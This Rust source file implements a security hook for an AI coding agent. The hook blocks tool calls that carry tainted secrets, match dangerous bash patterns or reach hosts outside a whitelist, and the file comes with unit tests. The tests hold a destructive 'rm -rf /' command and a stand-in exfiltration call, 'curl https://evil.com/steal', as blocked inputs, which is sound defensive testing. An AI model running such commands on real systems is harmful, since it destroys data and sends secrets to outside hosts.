Skip to main content

a3s_code_core/security/
interceptor.rs

1//! Security Tool Interceptor
2//!
3//! Implements HookHandler for PreToolUse events to block dangerous tool
4//! invocations that could exfiltrate sensitive data.
5
6use super::audit::{AuditAction, AuditEntry, AuditEventType, AuditLog};
7use super::config::{SecurityConfig, SensitivityLevel};
8use super::taint::TaintRegistry;
9use crate::hooks::HookEvent;
10use crate::hooks::HookHandler;
11use crate::hooks::HookResponse;
12use regex::Regex;
13use std::sync::{Arc, OnceLock, RwLock};
14
15/// Cached regex for URL extraction in network destination checks
16fn url_regex() -> &'static Regex {
17    static RE: OnceLock<Regex> = OnceLock::new();
18    RE.get_or_init(|| Regex::new(r"https?://([^/\s]+)").unwrap())
19}
20
21/// Result of intercepting a tool call
22#[derive(Debug, Clone)]
23pub enum InterceptResult {
24    /// Allow the tool call to proceed
25    Allow,
26    /// Block the tool call
27    Block {
28        /// Why it was blocked
29        reason: String,
30        /// Severity of the violation
31        severity: SensitivityLevel,
32    },
33}
34
35/// Tool interceptor that checks tool arguments for sensitive data leakage
36pub struct ToolInterceptor {
37    taint_registry: Arc<RwLock<TaintRegistry>>,
38    audit_log: Arc<AuditLog>,
39    dangerous_patterns: Vec<Regex>,
40    network_whitelist: Vec<String>,
41    session_id: String,
42}
43
44impl ToolInterceptor {
45    /// Create a new tool interceptor
46    pub fn new(
47        config: &SecurityConfig,
48        taint_registry: Arc<RwLock<TaintRegistry>>,
49        audit_log: Arc<AuditLog>,
50        session_id: String,
51    ) -> Self {
52        let dangerous_patterns = config
53            .dangerous_commands
54            .iter()
55            .filter_map(|p| Regex::new(p).ok())
56            .collect();
57
58        Self {
59            taint_registry,
60            audit_log,
61            dangerous_patterns,
62            network_whitelist: config.network_whitelist.clone(),
63            session_id,
64        }
65    }
66
67    /// Check a tool invocation for security violations
68    pub fn check(&self, tool: &str, args: &serde_json::Value) -> InterceptResult {
69        let args_str = serde_json::to_string(args).unwrap_or_default();
70
71        // Check 1: Scan serialized args for tainted data
72        {
73            let Ok(registry) = self.taint_registry.read() else {
74                tracing::error!("Taint registry lock poisoned — blocking tool call as precaution");
75                return InterceptResult::Block {
76                    reason: "Security subsystem unavailable — taint registry lock poisoned".into(),
77                    severity: SensitivityLevel::HighlySensitive,
78                };
79            };
80            if registry.contains(&args_str) {
81                return InterceptResult::Block {
82                    reason: format!("Tool '{}' arguments contain tainted sensitive data", tool),
83                    severity: SensitivityLevel::HighlySensitive,
84                };
85            }
86            // Also check encoded variants
87            if registry.check_encoded(&args_str) {
88                return InterceptResult::Block {
89                    reason: format!("Tool '{}' arguments contain encoded sensitive data", tool),
90                    severity: SensitivityLevel::HighlySensitive,
91                };
92            }
93        }
94
95        // Check 2: For bash tool, match against dangerous command patterns
96        if tool == "bash" || tool == "Bash" {
97            if let Some(command) = args.get("command").and_then(|v| v.as_str()) {
98                for pattern in &self.dangerous_patterns {
99                    if pattern.is_match(command) {
100                        return InterceptResult::Block {
101                            reason: format!(
102                                "Bash command matches dangerous pattern: {}",
103                                pattern.as_str()
104                            ),
105                            severity: SensitivityLevel::HighlySensitive,
106                        };
107                    }
108                }
109
110                // Check 4: Validate network destinations against whitelist
111                if !self.network_whitelist.is_empty() {
112                    if let Some(result) = self.check_network_destination(command) {
113                        return result;
114                    }
115                }
116            }
117        }
118
119        // Check 3: For write/edit tools, check content for tainted data
120        if tool == "write" || tool == "Write" || tool == "edit" || tool == "Edit" {
121            let content = args
122                .get("content")
123                .or_else(|| args.get("new_string"))
124                .and_then(|v| v.as_str())
125                .unwrap_or("");
126
127            let Ok(registry) = self.taint_registry.read() else {
128                return InterceptResult::Block {
129                    reason: "Security subsystem unavailable — taint registry lock poisoned".into(),
130                    severity: SensitivityLevel::HighlySensitive,
131                };
132            };
133            if registry.contains(content) {
134                return InterceptResult::Block {
135                    reason: format!("Tool '{}' would write tainted sensitive data to file", tool),
136                    severity: SensitivityLevel::HighlySensitive,
137                };
138            }
139        }
140
141        InterceptResult::Allow
142    }
143
144    /// Check if a bash command targets a non-whitelisted network destination
145    fn check_network_destination(&self, command: &str) -> Option<InterceptResult> {
146        for cap in url_regex().captures_iter(command) {
147            if let Some(host) = cap.get(1) {
148                let hostname = host.as_str();
149                let is_whitelisted = self
150                    .network_whitelist
151                    .iter()
152                    .any(|w| hostname == w || hostname.ends_with(&format!(".{}", w)));
153                if !is_whitelisted {
154                    return Some(InterceptResult::Block {
155                        reason: format!(
156                            "Network destination '{}' is not in the whitelist",
157                            hostname
158                        ),
159                        severity: SensitivityLevel::Sensitive,
160                    });
161                }
162            }
163        }
164        None
165    }
166}
167
168impl HookHandler for ToolInterceptor {
169    fn handle(&self, event: &HookEvent) -> HookResponse {
170        if let HookEvent::PreToolUse(e) = event {
171            let result = self.check(&e.tool, &e.args);
172            match result {
173                InterceptResult::Allow => HookResponse::continue_(),
174                InterceptResult::Block { reason, severity } => {
175                    self.audit_log.log(AuditEntry {
176                        timestamp: chrono::Utc::now(),
177                        session_id: self.session_id.clone(),
178                        event_type: AuditEventType::ToolBlocked,
179                        severity,
180                        details: reason.clone(),
181                        tool_name: Some(e.tool.clone()),
182                        action_taken: AuditAction::Blocked,
183                    });
184                    HookResponse::block(reason)
185                }
186            }
187        } else {
188            HookResponse::continue_()
189        }
190    }
191}
192
193#[cfg(test)]
194mod tests {
195    use super::*;
196    use crate::security::config::SecurityConfig;
197
198    fn make_interceptor() -> ToolInterceptor {
199        let config = SecurityConfig::default();
200        let registry = Arc::new(RwLock::new(TaintRegistry::new()));
201        let audit = Arc::new(AuditLog::new(100));
202        ToolInterceptor::new(&config, registry, audit, "test-session".to_string())
203    }
204
205    fn make_interceptor_with_taint(value: &str) -> ToolInterceptor {
206        let config = SecurityConfig::default();
207        let registry = Arc::new(RwLock::new(TaintRegistry::new()));
208        {
209            let mut reg = registry.write().unwrap();
210            reg.register(value, "test_rule", SensitivityLevel::HighlySensitive);
211        }
212        let audit = Arc::new(AuditLog::new(100));
213        ToolInterceptor::new(&config, registry, audit, "test-session".to_string())
214    }
215
216    #[test]
217    fn test_allow_clean_tool_call() {
218        let interceptor = make_interceptor();
219        let result = interceptor.check("bash", &serde_json::json!({"command": "echo hello"}));
220        assert!(matches!(result, InterceptResult::Allow));
221    }
222
223    #[test]
224    fn test_block_bash_curl_with_tainted_data() {
225        let interceptor = make_interceptor_with_taint("secret-api-key-12345");
226        let result = interceptor.check(
227            "bash",
228            &serde_json::json!({"command": "echo secret-api-key-12345"}),
229        );
230        assert!(matches!(result, InterceptResult::Block { .. }));
231    }
232
233    #[test]
234    fn test_block_dangerous_curl_pattern() {
235        let interceptor = make_interceptor();
236        // Default dangerous commands include "rm -rf", not curl patterns
237        let result = interceptor.check("bash", &serde_json::json!({"command": "rm -rf /"}));
238        assert!(matches!(result, InterceptResult::Block { .. }));
239    }
240
241    #[test]
242    fn test_block_write_with_sensitive_content() {
243        let interceptor = make_interceptor_with_taint("123-45-6789");
244        let result = interceptor.check(
245            "write",
246            &serde_json::json!({"content": "SSN is 123-45-6789", "file_path": "/tmp/out.txt"}),
247        );
248        assert!(matches!(result, InterceptResult::Block { .. }));
249    }
250
251    #[test]
252    fn test_allow_write_clean_content() {
253        let interceptor = make_interceptor();
254        let result = interceptor.check(
255            "write",
256            &serde_json::json!({"content": "Hello world", "file_path": "/tmp/out.txt"}),
257        );
258        assert!(matches!(result, InterceptResult::Allow));
259    }
260
261    #[test]
262    fn test_block_edit_with_tainted_data() {
263        let interceptor = make_interceptor_with_taint("my-secret-token");
264        let result = interceptor.check(
265            "edit",
266            &serde_json::json!({"new_string": "token = my-secret-token"}),
267        );
268        assert!(matches!(result, InterceptResult::Block { .. }));
269    }
270
271    #[test]
272    fn test_network_whitelist() {
273        let config = SecurityConfig {
274            network_whitelist: vec!["github.com".to_string(), "example.com".to_string()],
275            ..Default::default()
276        };
277        let registry = Arc::new(RwLock::new(TaintRegistry::new()));
278        let audit = Arc::new(AuditLog::new(100));
279        let interceptor =
280            ToolInterceptor::new(&config, registry, audit, "test-session".to_string());
281
282        // Whitelisted destination should be allowed
283        let result = interceptor.check(
284            "bash",
285            &serde_json::json!({"command": "curl https://github.com/api/v1"}),
286        );
287        assert!(matches!(result, InterceptResult::Allow));
288
289        // Non-whitelisted destination should be blocked
290        let result = interceptor.check(
291            "bash",
292            &serde_json::json!({"command": "curl https://evil.com/steal"}),
293        );
294        assert!(matches!(result, InterceptResult::Block { .. }));
295    }
296
297    #[test]
298    fn test_hook_handler_impl() {
299        let interceptor = make_interceptor();
300        let event = HookEvent::PreToolUse(crate::hooks::PreToolUseEvent {
301            session_id: "s1".to_string(),
302            tool: "bash".to_string(),
303            args: serde_json::json!({"command": "echo hello"}),
304            working_directory: "/workspace".to_string(),
305            recent_tools: vec![],
306        });
307
308        let response = interceptor.handle(&event);
309        assert_eq!(response.action, crate::hooks::HookAction::Continue);
310    }
311}